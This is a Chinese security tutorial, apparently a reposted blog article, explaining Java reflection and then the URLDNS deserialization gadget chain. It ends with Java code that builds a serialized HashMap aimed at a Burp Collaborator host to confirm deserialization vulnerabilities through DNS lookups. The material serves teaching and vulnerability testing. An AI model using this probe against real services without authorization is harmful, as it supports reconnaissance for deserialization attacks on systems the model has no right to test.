• java反射


    反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。

    什么是反射

    java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。

    基本形式

    1. public void execute(String className, String methodName) throws Exception {
    2. Class clazz = Class.forName(className);
    3. clazz.getMethod(methodName).invoke(clazz.newInstance());
    4. }

    上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法:forName 实例例化类对象的方法:newInstance 获取函数的方法:getMethod 执行函数的方法:invoke

    反射的作用:

    让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法

    反序列化漏洞中的应用

    定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类

    java反射举例

    此处引用白日梦组长的例子,具体讲解一下反射。

    先写一个Person作为我们下面演示的原型类

    1. public class Person {
    2. private String name;
    3. public int age;
    4. public void act(){
    5. System.out.println("test");
    6. }
    7. @Override
    8. public String toString() {
    9. return "Persion{" +
    10. "name='" + name + '\'' +
    11. ", age=" + age +
    12. '}';
    13. }
    14. public String getName() {
    15. return name;
    16. }
    17. public void setName(String name) {
    18. this.name = name;
    19. }
    20. public int getAge() {
    21. return age;
    22. }
    23. public void setAge(int age) {
    24. this.age = age;
    25. }
    26. public Person() {
    27. }
    28. public Person(String name, int age) {
    29. this.name = name;
    30. this.age = age;
    31. }
    32. }

    获取原型类

    使用forName方法

    Class c = Class.forName("Person");

    在此也写一种基于ClassLoader的动态类加载方式

    this.getClass().getClassLoader().loadClass("Person");

    从原型class里面实例化对象

    利用构造函数实例化

    1. Constructor constructor = c.getConstructor(String.class,int.class);
    2. Person p1 = (Person) constructor.newInstance("abc",22);

    我们来逐行写一下分析

    Constructor constructor = c.getConstructor(String.class,int.class);


    这一行是为了获取原型类中重载的构造方法

    1. public Person(String name, int age) {
    2. this.name = name;
    3. this.age = age;
    4. }


    对构造方法进行传参实例化一个对象

    Person p1 = (Person) constructor.newInstance("abc",22);

    我们可以打印一下p1看一下返回结果

    45dc96881b51938dd559b482c8dedd41.png

    获取类里面的属性

    1. private String name;
    2. public int age;

    public

    1. Field ageField = c.getField("age");
    2. ageField.set(p1,11);

    4d09381f42ab42862a7756dfb9d69de9.png

    private

    1. Field nameField = c.getDeclaredField("name");
    2. nameField.setAccessible(true);
    3. nameField.set(p1,"xinyuan");

    12af1305bdb6cb1d4e43d3da86d96c6d.png

    获取类方法

    Method actmethod = c.getMethod("act",String.class);
    actmethod.invoke(p1,"SKyMirror");

    getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型

    invoke方法第一个传入对象,第二个是传入参数值

    cbe40fa8447ed8a3b4372263b8d19ad8.png

    利用URLDNS(反射)

    这条链子算是反射的一个简单应用。

    利用点

    URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。

    源码如下:

    05ae3cf286d333cc55ed28e826bf96ae.png

    35c4e7ab5f4b3b4c9780f2c074aa96be.png

    可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。

    URL这个类实现了java.io.Serializable,可以进行序列化的操作。

    02b84089c832d270a8266ea0f3b8a3f8.png

    因此,在这里我们可以验证一下我们上面的想法。

    a23b8c43cdf64e5022ad8cac1e944390.png

    5bb44ad039e3a38389e0ac9427f3f24b.png

    链子

    这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法

    HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法

    f7be36fcc9cc5db8b702bf41c2a99952.png

    我们跟进一下hash方法

    78700bbb3311ded569530a207009f163.png

    key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。

    有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。

    5d6a526c6e8e5c52449caf01a471e322.png

    同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。

    payload如下

    1. public static void main(String[] args) throws Exception{
    2. HashMaphashMap = new HashMap<>();
    3. URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
    4. Class c = u.getClass();
    5. //在进行put方法传参之前修改URL对象的hashCode值
    6. Field hashcodeField = c.getDeclaredField("hashCode");
    7. hashcodeField.setAccessible(true);
    8. hashcodeField.set(u,123);
    9. hashMap.put(u,123);
    10. //修改URL对象的hashCode值为-1
    11. hashcodeField.set(u,-1);
    12. serialize(hashMap);
    13. }

    原创稿件征集

    征集原创技术文章中,欢迎投递

    投稿邮箱:edu@antvsion.com

    文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

    通过审核并发布能收获200-800元不等的稿酬。

    更多详情,点我查看!

    d6a4da0a587e025f2baa6e11ae830a70.gif

    限时免费靶场实操,戳“阅读原文“

  • 相关阅读:
    Exoplayer异常:4003, MediaCodecAudioRenderer error,format_supported=YES
    键盘控制ROS车运动
    详细讲解网络协议:TCP和UDP什么区别?
    C++ 一个时间转换类封装
    【斗破年番】火火小医仙幽会,彩鳞吃醋跟随,失身之事终暴露,蛇人族来算账
    C#复习:面向对象基本概念
    计算机专业本科毕业生个人学习总结
    基于Matlab求解2023华为杯研究生数学建模竞赛E题——出血性脑卒中临床智能诊疗建模实现步骤(附上源码+数据)
    数仓工具—Hive语法之join 扩展(23)
    TCP三次握手以及UDP相关知识
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/126882578